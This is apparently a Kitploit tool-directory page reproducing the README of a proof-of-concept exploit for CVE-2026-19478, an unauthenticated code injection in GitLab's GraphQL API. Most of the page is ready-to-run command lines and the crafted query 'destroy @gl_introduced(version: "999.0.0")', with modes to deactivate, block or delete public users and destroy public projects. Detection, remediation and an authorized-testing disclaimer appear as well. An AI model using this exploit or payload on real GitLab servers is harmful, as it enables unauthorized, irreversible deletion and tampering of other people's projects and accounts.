Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/davkharrr/cve-2026-19478-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingAPI Security
GitHubdavkharrr/cve-2026-19478-poc

CVE-2026-19478-PoC

Proof-of-concept exploit for unauthenticated remote code injection in GitLab's GraphQL API, using crafted queries to modify or delete public projects and users.

View Repository
1151223 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-19478 PoC

Unauthenticated remote code-injection in GitLab's GraphQL layer that lets an attacker modify or delete public projects and user data with a single crafted query. No authentication, no user interaction, no special privileges.

Severity9.4 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
CWECWE-94 (Improper Control of Generation of Code / Code Injection)
AffectedGitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4
Fixed18.11.11, 19.0.8, 19.1.6, 19.2.4
Disclosed2026-08-17
HackerOne3926431

TL;DR

root@kitploit:~
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project

# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

The exploit is a fallback-field code injection: an attacker-chosen field name in a GraphQL query is turned into an arbitrary public_send call on the underlying ActiveRecord model (Project, User, ...). Because the fallback field is only created when the query also carries a "future" @gl_introduced directive, the directive is the injection primitive.


Affected versions

SeriesAffectedFixed
18.x>= 18.2, < 18.11.1118.11.11
19.0< 19.0.819.0.8
19.1< 19.1.619.1.6
19.2< 19.2.419.2.4

The script performs best-effort version detection (/api/v4/version with a token, /help, /users/sign_in) and reports whether the target falls in the affected ranges.


Detection

  • Version check: any GitLab in the affected ranges is vulnerable.
  • Behavioral check (safe): send the benign touch payload above. A vulnerable instance returns "touch": true; a patched instance returns Field 'touch' doesn't exist on type 'Project'.
  • Schema check: a vulnerable instance exposes the gl_introduced directive in the GraphQL schema (/api/graphql introspection). Patched instances may still expose it, so the behavioral check is authoritative.

Usage

root@kitploit:~
python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
               [--mode check|modify|destroy|delete|custom]
               [--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
OptionDescription
--urlGitLab base URL, e.g. https://gitlab.example.com
--projectFull path of a public project, e.g. group/subgroup/project
--userUsername of a public user, e.g. alice
--modecheck (default, benign touch) · modify (user: deactivate, project: touch) · destroy · delete · custom
--methodMethod name for --mode custom (must be a valid GraphQL name)
--tokenOptional GitLab PRIVATE-TOKEN (version detection / auth)
--versionSkip detection, force a version string
--insecureDisable TLS certificate verification

Destructive modes (modify, destroy, delete) require an interactive yes confirmation.

Examples

root@kitploit:~
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project

# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block

# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm

# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate

# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete

# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
               --mode custom --method reload

# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
               --token <PRIVATE-TOKEN> --insecure

Expected output

Vulnerable instance

root@kitploit:~
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
    Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
  project(fullPath: "group/public-project") {
    name
    destroy @gl_introduced(version: "999.0.0")
  }
}

[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.

Patched instance

root@kitploit:~
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).

The patched response is a normal GraphQL validation error:

root@kitploit:~
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }

Parent not resolvable

root@kitploit:~
[!] Parent object is null -> project/user not found or not visible.
    (For projects, use the full path, e.g. group/subgroup/project)

The target must be public (project visibility Public, or a user whose profile is publicly resolvable via GraphQL). If the parent is null, the method is never called.


Remediation

  • Upgrade to GitLab 18.11.11, 19.0.8, 19.1.6 or 19.2.4 (or later).
  • Until patched: restrict network access to /api/graphql, or disable the @gl_introduced version-filter feature if it is not needed.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-19478
  • https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
  • https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
  • https://hackerone.com/reports/3926431
  • Fix commit: e283c6ad "Prevent calling object method when resolving fallback field"

This PoC is provided for defensive security research and authorized testing only. Do not run it against systems you do not own or lack explicit permission to test.

Download Tool